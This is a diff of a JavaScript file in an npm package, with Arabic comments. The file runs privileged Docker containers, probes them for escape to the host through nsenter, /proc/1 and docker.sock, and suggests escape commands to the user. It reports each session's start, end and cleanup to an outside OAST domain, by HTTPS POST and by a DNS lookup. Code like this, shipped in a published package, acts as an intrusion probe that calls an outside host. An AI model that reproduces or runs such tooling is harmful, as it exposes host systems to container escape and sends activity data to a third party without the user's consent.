|
+
console.log('\n' + '='.repeat(80));
|
|
595
|
+
console.log('🎯 ANALYSIS COMPLETE');
|
|
596
|
+
console.log('='.repeat(80));
|
|
195
597
|
}
|
|
196
598
|
|
|
197
599
|
async cleanup() {
|
|
198
|
-
if (this.containerId
|
|
199
|
-
console.log('\n🧹
|
|
600
|
+
if (this.containerId) {
|
|
601
|
+
console.log('\n🧹 Cleaning up container...');
|
|
200
602
|
|
|
201
603
|
try {
|
|
202
604
|
await this.execOnHost(`docker stop ${this.containerId}`);
|
|
203
605
|
await this.execOnHost(`docker rm ${this.containerId}`);
|
|
204
|
-
|
|
205
|
-
|
|
606
|
+
console.log('✅ Container cleaned up');
|
|
607
|
+
|
|
608
|
+
// إرسال إشعار التنظيف إلى OAST
|
|
609
|
+
this.oastReporter.sendHTTPS('/cleanup', {
|
|
610
|
+
containerId: this.containerId.substring(0, 12),
|
|
611
|
+
action: 'container_removed'
|
|
612
|
+
});
|
|
206
613
|
} catch (error) {
|
|
207
|
-
console.
|
|
614
|
+
console.log(`⚠️ Could not clean up container: ${error.message}`);
|
|
208
615
|
}
|
|
209
616
|
}
|
|
210
617
|
}
|
|
211
618
|
|
|
619
|
+
execInContainer(command) {
|
|
620
|
+
return new Promise((resolve, reject) => {
|
|
621
|
+
if (!this.containerId) {
|
|
622
|
+
reject(new Error('No container running'));
|
|
623
|
+
return;
|
|
624
|
+
}
|
|
625
|
+
|
|
626
|
+
exec(`docker exec ${this.containerId} sh -c "${command.replace(/"/g, '\\"')}"`,
|
|
627
|
+
{ timeout: 10000 },
|
|
628
|
+
(error, stdout, stderr) => {
|
|
629
|
+
if (error) {
|
|
630
|
+
reject(error);
|
|
631
|
+
} else {
|
|
632
|
+
resolve(stdout || stderr || '');
|
|
633
|
+
}
|
|
634
|
+
}
|
|
635
|
+
);
|
|
636
|
+
});
|
|
637
|
+
}
|
|
638
|
+
|
|
212
639
|
execOnHost(command) {
|
|
213
640
|
return new Promise((resolve, reject) => {
|
|
214
|
-
exec(command, (error, stdout, stderr) => {
|
|
641
|
+
exec(command, { timeout: 10000 }, (error, stdout, stderr) => {
|
|
215
642
|
if (error) {
|
|
216
643
|
reject(error);
|
|
217
644
|
} else {
|
|
@@ -220,225 +647,236 @@ class PrivilegedContainerRunner {
|
|
|
220
647
|
});
|
|
221
648
|
});
|
|
222
649
|
}
|
|
650
|
+
}
|
|
223
651
|
|
|
224
|
-
|
|
225
|
-
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
console.log(' 1. تشغيل shell تفاعلي (bash)');
|
|
241
|
-
console.log(' 2. تنظيف الحاوية والخروج');
|
|
242
|
-
console.log(' 3. الخروج بدون تنظيف');
|
|
243
|
-
|
|
244
|
-
// انتظار قرار المستخدم
|
|
245
|
-
await this.waitForUserDecision();
|
|
246
|
-
|
|
247
|
-
} catch (error) {
|
|
248
|
-
console.error('❌ فشل التشغيل:', error.message);
|
|
652
|
+
// ===================== SIMPLE VERSION =====================
|
|
653
|
+
function runSimplePrivilegedWithOAST() {
|
|
654
|
+
console.log('🚀 Running simple privileged container with OAST reporting...\n');
|
|
655
|
+
|
|
656
|
+
const containerName = `simple-priv-${Date.now()}`;
|
|
657
|
+
const sessionId = `simple-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`;
|
|
658
|
+
|
|
659
|
+
// إرسال بداية الجلسة
|
|
660
|
+
const startReq = https.request({
|
|
661
|
+
hostname: CONFIG.OAST.domain,
|
|
662
|
+
port: CONFIG.OAST.httpsPort,
|
|
663
|
+
path: '/simple-start',
|
|
664
|
+
method: 'POST',
|
|
665
|
+
headers: {
|
|
666
|
+
'Content-Type': 'application/json',
|
|
667
|
+
'X-Session-ID': sessionId
|
|
249
668
|
}
|
|
250
|
-
}
|
|
251
|
-
|
|
252
|
-
|
|
253
|
-
|
|
254
|
-
|
|
255
|
-
|
|
669
|
+
});
|
|
670
|
+
|
|
671
|
+
startReq.write(JSON.stringify({
|
|
672
|
+
action: 'simple_container_start',
|
|
673
|
+
containerName: containerName,
|
|
674
|
+
timestamp: new Date().toISOString()
|
|
675
|
+
}));
|
|
676
|
+
startReq.end();
|
|
677
|
+
|
|
678
|
+
// تشغيل الحاوية
|
|
679
|
+
const dockerArgs = [
|
|
680
|
+
'run',
|
|
681
|
+
'--privileged',
|
|
682
|
+
'--name', containerName,
|
|
683
|
+
'--rm',
|
|
684
|
+
CONFIG.DOCKER.image,
|
|
685
|
+
'sh', '-c',
|
|
686
|
+
`
|
|
687
|
+
echo "=== PRIVILEGED CONTAINER STARTED ==="
|
|
688
|
+
echo "Session: ${sessionId}"
|
|
689
|
+
echo "Hostname: $(hostname)"
|
|
690
|
+
echo "User: $(whoami)"
|
|
691
|
+
echo "=== TESTING ESCAPE ==="
|
|
256
692
|
|
|
257
|
-
|
|
258
|
-
|
|
693
|
+
# Test nsenter
|
|
694
|
+
which nsenter && echo "nsenter: AVAILABLE" || echo "nsenter: NOT_AVAILABLE"
|
|
259
695
|
|
|
260
|
-
|
|
261
|
-
|
|
262
|
-
if (osLine) {
|
|
263
|
-
console.log(`🐧 النظام: ${osLine.split('=')[1]?.replace(/"/g, '')}`);
|
|
264
|
-
}
|
|
265
|
-
}
|
|
696
|
+
# Test host access
|
|
697
|
+
cat /proc/1/status 2>/dev/null | head -2 && echo "Host proc: ACCESSIBLE" || echo "Host proc: NO_ACCESS"
|
|
266
698
|
|
|
267
|
-
|
|
268
|
-
|
|
269
|
-
}
|
|
699
|
+
# Send DNS notification
|
|
700
|
+
nslookup ${sessionId}.simple-test.${CONFIG.OAST.domain} 2>/dev/null || echo "DNS test"
|
|
270
701
|
|
|
271
|
-
|
|
272
|
-
|
|
273
|
-
|
|
702
|
+
echo "=== CONTAINER COMPLETE ==="
|
|
703
|
+
`
|
|
704
|
+
];
|
|
705
|
+
|
|
706
|
+
console.log(`Running: docker ${dockerArgs.join(' ')}`);
|
|
707
|
+
|
|
708
|
+
const dockerProcess = spawn('docker', dockerArgs, { stdio: 'inherit' });
|
|
709
|
+
|
|
710
|
+
dockerProcess.on('close', (code) => {
|
|
711
|
+
console.log(`\n✅ Container exited with code: ${code}`);
|
|
274
712
|
|
|
275
|
-
|
|
276
|
-
|
|
277
|
-
|
|
278
|
-
|
|
279
|
-
|
|
280
|
-
|
|
281
|
-
|
|
282
|
-
|
|
713
|
+
// إرسال إشعار الانتهاء
|
|
714
|
+
const endReq = https.request({
|
|
715
|
+
hostname: CONFIG.OAST.domain,
|
|
716
|
+
port: CONFIG.OAST.httpsPort,
|
|
717
|
+
path: '/simple-end',
|
|
718
|
+
method: 'POST',
|
|
719
|
+
headers: {
|
|
720
|
+
'Content-Type': 'application/json',
|
|
721
|
+
'X-Session-ID': sessionId
|
|
722
|
+
}
|
|
283
723
|
});
|
|
284
724
|
|
|
285
|
-
|
|
286
|
-
|
|
287
|
-
|
|
288
|
-
|
|
289
|
-
|
|
290
|
-
|
|
291
|
-
|
|
292
|
-
|
|
293
|
-
|
|
294
|
-
|
|
295
|
-
case '2':
|
|
296
|
-
readline.close();
|
|
297
|
-
await this.cleanup();
|
|
298
|
-
resolve();
|
|
299
|
-
break;
|
|
300
|
-
|
|
301
|
-
case '3':
|
|
302
|
-
default:
|
|
303
|
-
readline.close();
|
|
304
|
-
console.log('👋 تم الخروج. الحاوية لا تزال تعمل.');
|
|
305
|
-
console.log(` Container ID: ${this.containerId}`);
|
|
306
|
-
console.log(' يمكنك تنظيفها يدوياً:');
|
|
307
|
-
console.log(` docker stop ${this.containerId}`);
|
|
308
|
-
console.log(` docker rm ${this.containerId}`);
|
|
309
|
-
resolve();
|
|
310
|
-
break;
|
|
311
|
-
}
|
|
312
|
-
});
|
|
313
|
-
});
|
|
314
|
-
}
|
|
725
|
+
endReq.write(JSON.stringify({
|
|
726
|
+
action: 'simple_container_end',
|
|
727
|
+
exitCode: code,
|
|
728
|
+
timestamp: new Date().toISOString()
|
|
729
|
+
}));
|
|
730
|
+
endReq.end();
|
|
731
|
+
|
|
732
|
+
console.log(`\n📡 Check OAST for interactions: ${CONFIG.OAST.domain}`);
|
|
733
|
+
console.log(`🔑 Session ID: ${sessionId}`);
|
|
734
|
+
});
|
|
315
735
|
}
|
|
316
736
|
|
|
317
|
-
// =====================
|
|
318
|
-
function
|
|
319
|
-
console.log('🚀
|
|
737
|
+
// ===================== INTERACTIVE VERSION =====================
|
|
738
|
+
function runInteractivePrivileged() {
|
|
739
|
+
console.log('🚀 Running interactive privileged container...\n');
|
|
740
|
+
console.log(`📡 OAST Domain: ${CONFIG.OAST.domain}`);
|
|
741
|
+
console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}\n`);
|
|
742
|
+
|
|
743
|
+
// إرسال إشعار البدء
|
|
744
|
+
const req = https.request({
|
|
745
|
+
hostname: CONFIG.OAST.domain,
|
|
746
|
+
port: CONFIG.OAST.httpsPort,
|
|
747
|
+
path: '/interactive-start',
|
|
748
|
+
method: 'POST',
|
|
749
|
+
headers: {
|
|
750
|
+
'Content-Type': 'application/json',
|
|
751
|
+
'X-Session-ID': CONFIG.OAST.sessionId
|
|
752
|
+
}
|
|
753
|
+
});
|
|
754
|
+
|
|
755
|
+
req.write(JSON.stringify({
|
|
756
|
+
action: 'interactive_container_start',
|
|
757
|
+
timestamp: new Date().toISOString(),
|
|
758
|
+
command: 'docker run --privileged -it ubuntu:latest /bin/bash'
|
|
759
|
+
}));
|
|
760
|
+
req.end();
|
|
761
|
+
|
|
762
|
+
// تشغيل الحاوية التفاعلية
|
|
763
|
+
console.log('💻 Starting interactive bash session...');
|
|
764
|
+
console.log(' You can test commands manually.');
|
|
765
|
+
console.log(' Try these commands to test escape:');
|
|
766
|
+
console.log(' - nsenter --target 1 --mount -- sh -c "hostname"');
|
|
767
|
+
console.log(' - cat /proc/1/status');
|
|
768
|
+
console.log(' - ls -la /var/run/docker.sock');
|
|
769
|
+
console.log(' - nslookup test.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}\n');
|
|
320
770
|
|
|
321
771
|
const dockerProcess = spawn('docker', [
|
|
322
|
-
'run',
|
|
772
|
+
'run',
|
|
773
|
+
'--privileged',
|
|
774
|
+
'-it',
|
|
775
|
+
'--name', `interactive-${CONFIG.OAST.sessionId}`,
|
|
776
|
+
CONFIG.DOCKER.image,
|
|
777
|
+
CONFIG.DOCKER.command
|
|
323
778
|
], {
|
|
324
779
|
stdio: 'inherit'
|
|
325
780
|
});
|
|
326
781
|
|
|
327
782
|
dockerProcess.on('close', (code) => {
|
|
328
|
-
console.log(`\n🔚
|
|
783
|
+
console.log(`\n🔚 Container exited with code: ${code}`);
|
|
784
|
+
|
|
785
|
+
// إرسال إشعار الانتهاء
|
|
786
|
+
const endReq = https.request({
|
|
787
|
+
hostname: CONFIG.OAST.domain,
|
|
788
|
+
port: CONFIG.OAST.httpsPort,
|
|
789
|
+
path: '/interactive-end',
|
|
790
|
+
method: 'POST',
|
|
791
|
+
headers: {
|
|
792
|
+
'Content-Type': 'application/json',
|
|
793
|
+
'X-Session-ID': CONFIG.OAST.sessionId
|
|
794
|
+
}
|
|
795
|
+
});
|
|
796
|
+
|
|
797
|
+
endReq.write(JSON.stringify({
|
|
798
|
+
action: 'interactive_container_end',
|
|
799
|
+
exitCode: code,
|
|
800
|
+
timestamp: new Date().toISOString()
|
|
801
|
+
}));
|
|
802
|
+
endReq.end();
|
|
803
|
+
|
|
804
|
+
// تنظيف
|
|
805
|
+
exec(`docker rm interactive-${CONFIG.OAST.sessionId} 2>/dev/null || true`);
|
|
806
|
+
|
|
807
|
+
console.log(`\n📡 Check OAST interactions at: ${CONFIG.OAST.domain}`);
|
|
808
|
+
console.log(`🔑 Use Session ID: ${CONFIG.OAST.sessionId}`);
|
|
329
809
|
});
|
|
330
810
|
|
|
331
|
-
// التعامل مع
|
|
811
|
+
// التعامل مع Ctrl+C
|
|
332
812
|
process.on('SIGINT', () => {
|
|
333
|
-
console.log('\n\n⚠️
|
|
813
|
+
console.log('\n\n⚠️ Received Ctrl+C, cleaning up...');
|
|
334
814
|
dockerProcess.kill('SIGINT');
|
|
335
815
|
});
|
|
336
816
|
}
|
|
337
817
|
|
|
338
|
-
// =====================
|
|
339
|
-
function runWithPredefinedCommands() {
|
|
340
|
-
console.log('🚀 تشغيل حاوية مع أوامر مسبقة...\n');
|
|
341
|
-
|
|
342
|
-
const commands = [
|
|
343
|
-
'echo "=== مرحباً من الحاوية المميزة ==="',
|
|
344
|
-
'cat /etc/os-release | grep PRETTY_NAME',
|
|
345
|
-
'uname -a',
|
|
346
|
-
'whoami',
|
|
347
|
-
'id',
|
|
348
|
-
'echo "=== الصلاحيات ==="',
|
|
349
|
-
'capsh --print 2>/dev/null | head -5 || echo "capsh غير متاح"',
|
|
350
|
-
'echo "=== انتهى ==="',
|
|
351
|
-
'exit 0'
|
|
352
|
-
];
|
|
353
|
-
|
|
354
|
-
const dockerProcess = spawn('docker', [
|
|
355
|
-
'run', '--privileged', '--rm', 'ubuntu:latest', 'sh', '-c', commands.join(' && ')
|
|
356
|
-
]);
|
|
357
|
-
|
|
358
|
-
dockerProcess.stdout.on('data', (data) => {
|
|
359
|
-
console.log(data.toString());
|
|
360
|
-
});
|
|
361
|
-
|
|
362
|
-
dockerProcess.stderr.on('data', (data) => {
|
|
363
|
-
console.error(data.toString());
|
|
364
|
-
});
|
|
365
|
-
|
|
366
|
-
dockerProcess.on('close', (code) => {
|
|
367
|
-
console.log(`\n✅ انتهى مع الكود: ${code}`);
|
|
368
|
-
});
|
|
369
|
-
}
|
|
370
|
-
|
|
371
|
-
// ===================== الوظيفة الرئيسية =====================
|
|
818
|
+
// ===================== MAIN FUNCTION =====================
|
|
372
819
|
async function main() {
|
|
373
|
-
console.log(
|
|
374
|
-
|
|
375
|
-
|
|
376
|
-
|
|
377
|
-
|
|
378
|
-
`);
|
|
379
|
-
|
|
380
|
-
console.log('📋 اختر طريقة التشغيل:');
|
|
381
|
-
console.log(' 1. تشغيل تفاعلي بسيط (docker run --privileged -it ubuntu:latest /bin/bash)');
|
|
382
|
-
console.log(' 2. تشغيل مع أوامر مسبقة وعرض الناتج');
|
|
383
|
-
console.log(' 3. تشغيل متقدم مع تقرير كامل');
|
|
384
|
-
console.log(' 4. خروج');
|
|
820
|
+
console.log('🎯 Choose scanning method:');
|
|
821
|
+
console.log(' 1. Full analysis with automated scanning and OAST reporting');
|
|
822
|
+
console.log(' 2. Simple container with basic OAST reporting');
|
|
823
|
+
console.log(' 3. Interactive privileged container (docker run --privileged -it ubuntu:latest /bin/bash)');
|
|
824
|
+
console.log(' 4. Exit');
|
|
385
825
|
|
|
386
826
|
const readline = require('readline').createInterface({
|
|
387
827
|
input: process.stdin,
|
|
388
828
|
output: process.stdout
|
|
389
829
|
});
|
|
390
830
|
|
|
391
|
-
readline.question('\
|
|
831
|
+
readline.question('\nSelect option: ', async (choice) => {
|
|
832
|
+
readline.close();
|
|
833
|
+
|
|
392
834
|
switch(choice.trim()) {
|
|
393
835
|
case '1':
|
|
394
|
-
|
|
395
|
-
|
|
836
|
+
const scanner = new PrivilegedContainerScanner();
|
|
837
|
+
await scanner.run();
|
|
396
838
|
break;
|
|
397
839
|
|
|
398
840
|
case '2':
|
|
399
|
-
|
|
400
|
-
runWithPredefinedCommands();
|
|
841
|
+
runSimplePrivilegedWithOAST();
|
|
401
842
|
break;
|
|
402
843
|
|
|
403
844
|
case '3':
|
|
404
|
-
|
|
405
|
-
const runner = new PrivilegedContainerRunner();
|
|
406
|
-
await runner.run();
|
|
845
|
+
runInteractivePrivileged();
|
|
407
846
|
break;
|
|
408
847
|
|
|
409
848
|
default:
|
|
410
|
-
|
|
411
|
-
|
|
412
|
-
break;
|
|
849
|
+
console.log('👋 Exiting');
|
|
850
|
+
process.exit(0);
|
|
413
851
|
}
|
|
414
852
|
});
|
|
415
853
|
}
|
|
416
854
|
|
|
417
|
-
// =====================
|
|
855
|
+
// ===================== CHECK DOCKER =====================
|
|
418
856
|
if (require.main === module) {
|
|
419
|
-
// التحقق من
|
|
857
|
+
// التحقق من Docker
|
|
420
858
|
exec('which docker', (error) => {
|
|
421
859
|
if (error) {
|
|
422
|
-
console.error('❌ Docker
|
|
423
|
-
console.log(' يرجى تثبيت Docker أولاً:');
|
|
424
|
-
console.log(' https://docs.docker.com/get-docker/');
|
|
860
|
+
console.error('❌ Docker is not installed or not in PATH');
|
|
425
861
|
process.exit(1);
|
|
426
862
|
}
|
|
427
863
|
|
|
428
|
-
// التحقق من الصلاحيات
|
|
429
864
|
exec('docker ps', (error) => {
|
|
430
865
|
if (error && error.message.includes('permission denied')) {
|
|
431
|
-
console.error('❌
|
|
432
|
-
console.log('
|
|
433
|
-
console.log('
|
|
434
|
-
console.log(' ثم سجل الخروج وأدخل مرة أخرى');
|
|
866
|
+
console.error('❌ Permission denied for Docker');
|
|
867
|
+
console.log(' Try: sudo usermod -aG docker $USER');
|
|
868
|
+
console.log(' Then logout and login again');
|
|
435
869
|
process.exit(1);
|
|
436
870
|
}
|
|
437
871
|
|
|
872
|
+
console.log(`✅ Docker is available`);
|
|
873
|
+
console.log(`📍 OAST Domain: ${CONFIG.OAST.domain}`);
|
|
874
|
+
console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}\n`);
|
|
875
|
+
|
|
438
876
|
// بدء البرنامج
|
|
439
877
|
main();
|
|
440
878
|
});
|
|
441
879
|
});
|
|
442
880
|
}
|
|
443
881
|
|
|
444
|
-
module.exports = {
|
|
882
|
+
module.exports = { PrivilegedContainerScanner, CONFIG };
|
|
Binary file
|
package/rank4222wun-1.0.36.tgz
DELETED
|
Binary file
|